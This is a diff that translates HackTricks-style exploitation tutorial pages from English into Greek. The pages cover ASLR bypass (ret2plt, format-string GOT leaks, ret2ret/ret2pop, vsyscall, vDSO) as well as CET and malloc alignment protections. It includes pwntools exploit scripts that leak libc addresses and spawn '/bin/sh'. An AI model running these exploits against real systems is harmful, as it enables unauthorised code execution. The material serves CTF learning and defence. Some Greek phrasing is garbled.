|
||||
### Τοπικές Πληροφορίες (`/proc/[pid]/stat`)
|
||||
|
||||
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
|
||||
Το αρχείο **`/proc/[pid]/stat`** μιας διαδικασίας είναι πάντα αναγνώσιμο από όλους και **περιέχει ενδιαφέρουσες** πληροφορίες όπως:
|
||||
|
||||
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
|
||||
- **startstack**: The address of the start of the **stack**
|
||||
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
|
||||
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
|
||||
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
|
||||
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
|
||||
- **startcode** & **endcode**: Διευθύνσεις πάνω και κάτω με το **TEXT** του δυαδικού
|
||||
- **startstack**: Η διεύθυνση της αρχής της **στοίβας**
|
||||
- **start_data** & **end_data**: Διευθύνσεις πάνω και κάτω όπου είναι το **BSS**
|
||||
- **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP**
|
||||
- **arg_start** & **arg_end**: Διευθύνσεις πάνω και κάτω όπου είναι τα **cli arguments**.
|
||||
- **env_start** &**env_end**: Διευθύνσεις πάνω και κάτω όπου είναι οι **env variables**.
|
||||
|
||||
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
|
||||
Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ακατέργαστους παραμέτρους, αλλά από μια διαφορετική **είσοδο που μπορεί να κατασκευαστεί μετά την ανάγνωση αυτού του αρχείου**. Είναι δυνατόν για έναν επιτιθέμενο να **πάρε κάποια διευθύνσεις από αυτό το αρχείο και να κατασκευάσει offsets από αυτές για την εκμετάλλευση**.
|
||||
|
||||
> [!TIP]
|
||||
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
|
||||
> Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο, ελέγξτε [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat`
|
||||
|
||||
### Having a leak
|
||||
### Έχοντας μια διαρροή
|
||||
|
||||
- **The challenge is giving a leak**
|
||||
|
||||
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
|
||||
- **Η πρόκληση είναι να δώσετε μια διαρροή**
|
||||
|
||||
Αν σας δοθεί μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε offsets από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το παράδειγμα εκμετάλλευσης είναι αποσπασμένο από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτή τη σελίδα για περισσότερες λεπτομέρειες):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
0x0, # return address
|
||||
next(libc.search(b'/bin/sh'))
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
0x0, # return address
|
||||
next(libc.search(b'/bin/sh'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
- **ret2plt**
|
||||
|
||||
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
|
||||
Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα **ret2plt** για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγχος:
|
||||
|
||||
{{#ref}}
|
||||
ret2plt.md
|
||||
@ -216,8 +198,7 @@ ret2plt.md
|
||||
|
||||
- **Format Strings Arbitrary Read**
|
||||
|
||||
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
|
||||
|
||||
Ακριβώς όπως στο ret2plt, αν έχετε μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας **libc function** από το GOT. Το παρακάτω [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
|
||||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
|
||||
You can find more info about Format Strings arbitrary read in:
|
||||
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την τυχαία ανάγνωση Format Strings στο:
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
|
||||
|
||||
### Ret2ret & Ret2pop
|
||||
|
||||
Try to bypass ASLR abusing addresses inside the stack:
|
||||
Δοκιμάστε να παρακάμψετε το ASLR εκμεταλλευόμενοι διευθύνσεις μέσα στη στοίβα:
|
||||
|
||||
{{#ref}}
|
||||
ret2ret.md
|
||||
@ -245,13 +225,12 @@ ret2ret.md
|
||||
|
||||
### vsyscall
|
||||
|
||||
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
|
||||
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
|
||||
Ο μηχανισμός **`vsyscall`** εξυπηρετεί στην ενίσχυση της απόδοσης επιτρέποντας σε ορισμένες κλήσεις συστήματος να εκτελούνται σε χώρο χρήστη, αν και είναι θεμελιωδώς μέρος του πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** έγκειται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διευθύνσεων). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν απαιτούν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\
|
||||
Ωστόσο, δεν θα βρείτε εδώ πολύ ενδιαφέροντα gadgets (αν και για παράδειγμα είναι δυνατό να αποκτήσετε ένα ισοδύναμο `ret;`)
|
||||
|
||||
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
|
||||
|
||||
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
|
||||
(Το παρακάτω παράδειγμα και ο κώδικας είναι [**από αυτή τη γραφή**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
|
||||
|
||||
Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια άμεσης μετάβασης σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κρα crashes μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα gadget **ROP** που οδηγεί την εκτέλεση σε αυτή τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει εκτέλεση κώδικα χωρίς να χρειάζεται να παρακάμψει το **ASLR** για αυτό το μέρος της εκμετάλλευσης.
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
|
||||
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
|
||||
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
|
||||
gef➤ x/4i 0xffffffffff600800
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
gef➤ x/4i 0xffffffffff600800
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
```
|
||||
|
||||
### vDSO
|
||||
|
||||
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
|
||||
Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα τυχαίνει τυχαίας κατανομής. Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2vdso.md
|
||||
|
||||
@ -4,38 +4,35 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
|
||||
|
||||
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
|
||||
Ο στόχος αυτής της τεχνικής είναι να **διαρρεύσει μια διεύθυνση από μια συνάρτηση από το PLT** για να μπορέσει να παρακαμφθεί το ASLR. Αυτό συμβαίνει επειδή, αν, για παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης `puts` από τη libc, μπορείτε στη συνέχεια να **υπολογίσετε πού είναι η βάση της `libc`** και να υπολογίσετε offsets για να αποκτήσετε πρόσβαση σε άλλες συναρτήσεις όπως **`system`**.
|
||||
|
||||
Αυτό μπορεί να γίνει με ένα payload `pwntools` όπως ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main'],
|
||||
elf.got['puts']
|
||||
b'A' * padding,
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
# 64-bit
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
POP_RDI,
|
||||
elf.got['puts']
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main']
|
||||
b'A' * padding,
|
||||
POP_RDI,
|
||||
elf.got['puts']
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
Σημειώστε πώς η **`puts`** (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση της `puts` που βρίσκεται στο GOT (Global Offset Table). Αυτό συμβαίνει επειδή μέχρι τη στιγμή που η `puts` εκτυπώνει την εγγραφή του GOT της puts, αυτή η **εγγραφή θα περιέχει τη ακριβή διεύθυνση της `puts` στη μνήμη**.
|
||||
|
||||
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
|
||||
|
||||
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
|
||||
Επίσης, σημειώστε πώς η διεύθυνση της `main` χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η `puts` ολοκληρώσει την εκτέλεσή της, η **δυαδική κλήση καλεί ξανά την `main` αντί να τερματίσει** (έτσι η διαρροή διεύθυνσης θα παραμείνει έγκυρη).
|
||||
|
||||
> [!CAUTION]
|
||||
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
|
||||
|
||||
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
|
||||
> Σημειώστε πώς για να λειτουργήσει αυτό, η **δυαδική δεν μπορεί να έχει μεταγλωττιστεί με PIE** ή πρέπει να έχετε **βρει μια διαρροή για να παρακάμψετε το PIE** προκειμένου να γνωρίζετε τη διεύθυνση του PLT, GOT και main. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE.
|
||||
|
||||
Μπορείτε να βρείτε ένα [**πλήρες παράδειγμα αυτής της παράκαμψης εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Αυτή ήταν η τελική εκμετάλλευση από αυτό το **παράδειγμα**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -46,10 +43,10 @@ p = process()
|
||||
p.recvline()
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
elf.plt['puts'],
|
||||
elf.sym['main'],
|
||||
elf.got['puts']
|
||||
'A' * 32,
|
||||
elf.plt['puts'],
|
||||
elf.sym['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
libc.sym['exit'],
|
||||
next(libc.search(b'/bin/sh\x00'))
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
libc.sym['exit'],
|
||||
next(libc.search(b'/bin/sh\x00'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## Other examples & References
|
||||
## Άλλα παραδείγματα & Αναφορές
|
||||
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
|
||||
- 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')`
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||||
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
|
||||
- 64 bits, ενεργοποιημένο ASLR, χωρίς canary, υπερχείλιση στο stack από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα one gadget.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,27 +4,27 @@
|
||||
|
||||
## Ret2ret
|
||||
|
||||
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
|
||||
Ο κύριος **στόχος** αυτής της τεχνικής είναι να προσπαθήσει να **παρακάμψει το ASLR εκμεταλλευόμενος έναν υπάρχοντα δείκτη στη στοίβα**.
|
||||
|
||||
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
|
||||
Βασικά, οι υπερχειλίσεις της στοίβας προκαλούνται συνήθως από συμβολοσειρές, και **οι συμβολοσειρές τελειώνουν με ένα null byte στο τέλος** στη μνήμη. Αυτό επιτρέπει να προσπαθήσουμε να μειώσουμε τη θέση που δείχνει ένας υπάρχων δείκτης που ήδη υπάρχει στη στοίβα. Έτσι, αν η στοίβα περιείχε `0xbfffffdd`, αυτή η υπερχείλιση θα μπορούσε να την μετατρέψει σε `0xbfffff00` (σημειώστε το τελευταίο μηδενικό byte).
|
||||
|
||||
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
|
||||
Αν αυτή η διεύθυνση δείχνει στον shellcode μας στη στοίβα, είναι δυνατόν να κάνουμε τη ροή να φτάσει σε αυτή τη διεύθυνση προσθέτοντας διευθύνσεις στην εντολή `ret` μέχρι να φτάσουμε σε αυτήν.
|
||||
|
||||
Therefore the attack would be like this:
|
||||
Επομένως, η επίθεση θα είναι ως εξής:
|
||||
|
||||
- NOP sled
|
||||
- Shellcode
|
||||
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
|
||||
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
|
||||
- Επικαλύψτε τη στοίβα από το EIP με **διευθύνσεις προς `ret`** (RET sled)
|
||||
- 0x00 προστίθεται από τη συμβολοσειρά τροποποιώντας μια διεύθυνση από τη στοίβα κάνοντάς την να δείχνει στο NOP sled
|
||||
|
||||
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
|
||||
Ακολουθώντας [**αυτόν τον σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) την εκμετάλλευση.
|
||||
|
||||
## Ret2pop
|
||||
|
||||
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
|
||||
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
|
||||
Σε περίπτωση που μπορείτε να βρείτε έναν **τέλειο δείκτη στη στοίβα που δεν θέλετε να τροποποιήσετε** (στο `ret2ret` αλλάζουμε το τελικό χαμηλότερο byte σε `0x00`), μπορείτε να εκτελέσετε την ίδια επίθεση `ret2ret`, αλλά το **μήκος του RET sled πρέπει να μειωθεί κατά 1** (έτσι το τελικό `0x00` επικαλύπτει τα δεδομένα ακριβώς πριν από τον τέλειο δείκτη), και η **τελευταία** διεύθυνση του RET sled πρέπει να δείχνει σε **`pop <reg>; ret`**.\
|
||||
Με αυτόν τον τρόπο, τα **δεδομένα πριν από τον τέλειο δείκτη θα αφαιρεθούν** από τη στοίβα (αυτά είναι τα δεδομένα που επηρεάζονται από το `0x00`) και το **τελικό `ret` θα δείχνει στη τέλεια διεύθυνση** στη στοίβα χωρίς καμία αλλαγή.
|
||||
|
||||
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
|
||||
Ακολουθώντας [**αυτόν τον σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) την εκμετάλλευση.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,22 +4,22 @@
|
||||
|
||||
## Control Flow Enforcement Technology (CET)
|
||||
|
||||
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
|
||||
**CET** είναι μια λειτουργία ασφαλείας που έχει υλοποιηθεί σε επίπεδο υλικού, σχεδιασμένη να αποτρέπει κοινές επιθέσεις κατάληψης ροής ελέγχου όπως **Return-Oriented Programming (ROP)** και **Jump-Oriented Programming (JOP)**. Αυτοί οι τύποι επιθέσεων χειρίζονται τη ροή εκτέλεσης ενός προγράμματος για να εκτελέσουν κακόβουλο κώδικα ή να συνδυάσουν κομμάτια κανονικού κώδικα με τρόπο που να εκτελεί μια κακόβουλη ενέργεια.
|
||||
|
||||
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
|
||||
Το CET εισάγει δύο κύριες λειτουργίες: **Indirect Branch Tracking (IBT)** και **Shadow Stack**.
|
||||
|
||||
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
|
||||
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
|
||||
- **IBT** διασφαλίζει ότι οι έμμεσες μεταβάσεις και κλήσεις γίνονται σε έγκυρους στόχους, οι οποίοι σημειώνονται ρητά ως νόμιμοι προορισμοί για έμμεσες μεταβάσεις. Αυτό επιτυγχάνεται μέσω της χρήσης ενός νέου συνόλου εντολών που σημειώνει έγκυρους στόχους, αποτρέποντας έτσι τους επιτιθέμενους από το να εκτρέπουν τη ροή ελέγχου σε αυθαίρετες τοποθεσίες.
|
||||
- **Shadow Stack** είναι ένας μηχανισμός που παρέχει ακεραιότητα για τις διευθύνσεις επιστροφής. Διατηρεί ένα ασφαλές, κρυφό αντίγραφο των διευθύνσεων επιστροφής ξεχωριστό από την κανονική στοίβα κλήσεων. Όταν μια συνάρτηση επιστρέφει, η διεύθυνση επιστροφής επικυρώνεται σε σχέση με τη shadow stack, αποτρέποντας τους επιτιθέμενους από το να αντικαταστήσουν τις διευθύνσεις επιστροφής στη στοίβα για να καταλάβουν τη ροή ελέγχου.
|
||||
|
||||
## Shadow Stack
|
||||
|
||||
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
|
||||
Η **shadow stack** είναι μια **αφιερωμένη στοίβα που χρησιμοποιείται αποκλειστικά για την αποθήκευση διευθύνσεων επιστροφής**. Λειτουργεί παράλληλα με την κανονική στοίβα αλλά είναι προστατευμένη και κρυφή από την κανονική εκτέλεση προγράμματος, καθιστώντας δύσκολη την παρέμβαση των επιτιθέμενων. Ο κύριος στόχος της shadow stack είναι να διασφαλίσει ότι οποιεσδήποτε τροποποιήσεις στις διευθύνσεις επιστροφής στην κανονική στοίβα ανιχνεύονται πριν μπορέσουν να χρησιμοποιηθούν, μειώνοντας αποτελεσματικά τις επιθέσεις ROP.
|
||||
|
||||
## How CET and Shadow Stack Prevent Attacks
|
||||
|
||||
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
|
||||
Οι **επιθέσεις ROP και JOP** βασίζονται στην ικανότητα να καταλαμβάνουν τη ροή ελέγχου μιας εφαρμογής εκμεταλλευόμενοι ευπάθειες που τους επιτρέπουν να αντικαθιστούν δείκτες ή διευθύνσεις επιστροφής στη στοίβα. Κατευθύνοντας τη ροή σε ακολουθίες υπαρχόντων κωδικών gadgets ή gadgets προσανατολισμένων σε επιστροφές, οι επιτιθέμενοι μπορούν να εκτελέσουν αυθαίρετο κώδικα.
|
||||
|
||||
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
|
||||
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
|
||||
- Η λειτουργία **IBT** του CET καθιστά αυτές τις επιθέσεις σημαντικά πιο δύσκολες διασφαλίζοντας ότι οι έμμεσες μεταβάσεις μπορούν να πηδήξουν μόνο σε διευθύνσεις που έχουν σημειωθεί ρητά ως έγκυροι στόχοι. Αυτό καθιστά αδύνατο για τους επιτιθέμενους να εκτελούν αυθαίρετα gadgets που είναι διασκορπισμένα σε όλο το δυαδικό.
|
||||
- Η **shadow stack**, από την άλλη πλευρά, διασφαλίζει ότι ακόμη και αν ένας επιτιθέμενος μπορεί να αντικαταστήσει μια διεύθυνση επιστροφής στη φυσιολογική στοίβα, η **διαφορά θα ανιχνευθεί** όταν συγκρίνεται η κατεστραμμένη διεύθυνση με το ασφαλές αντίγραφο που αποθηκεύεται στη shadow stack κατά την επιστροφή από μια συνάρτηση. Εάν οι διευθύνσεις δεν ταιριάζουν, το πρόγραμμα μπορεί να τερματίσει ή να λάβει άλλα μέτρα ασφαλείας, αποτρέποντας την επιτυχία της επίθεσης.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,77 +4,77 @@
|
||||
|
||||
## Chunk Alignment Enforcement
|
||||
|
||||
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
|
||||
**Malloc** εκχωρεί μνήμη σε **ομαδοποιήσεις 8-byte (32-bit) ή 16-byte (64-bit)**. Αυτό σημαίνει ότι το τέλος των κομματιών σε συστήματα 32-bit θα πρέπει να ευθυγραμμίζεται με **0x8**, και σε συστήματα 64-bit με **0x0**. Η λειτουργία ασφαλείας ελέγχει ότι κάθε κομμάτι **ευθυγραμμίζεται σωστά** σε αυτές τις συγκεκριμένες τοποθεσίες πριν χρησιμοποιήσει έναν δείκτη από ένα bin.
|
||||
|
||||
### Security Benefits
|
||||
|
||||
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
|
||||
Η επιβολή ευθυγράμμισης κομματιών σε συστήματα 64-bit ενισχύει σημαντικά την ασφάλεια του Malloc περιορίζοντας **την τοποθέτηση ψεύτικων κομματιών σε μόνο 1 από κάθε 16 διευθύνσεις**. Αυτό περιπλέκει τις προσπάθειες εκμετάλλευσης, ειδικά σε σενάρια όπου ο χρήστης έχει περιορισμένο έλεγχο στις τιμές εισόδου, καθιστώντας τις επιθέσεις πιο περίπλοκες και δύσκολες στην επιτυχία.
|
||||
|
||||
- **Fastbin Attack on \_\_malloc_hook**
|
||||
|
||||
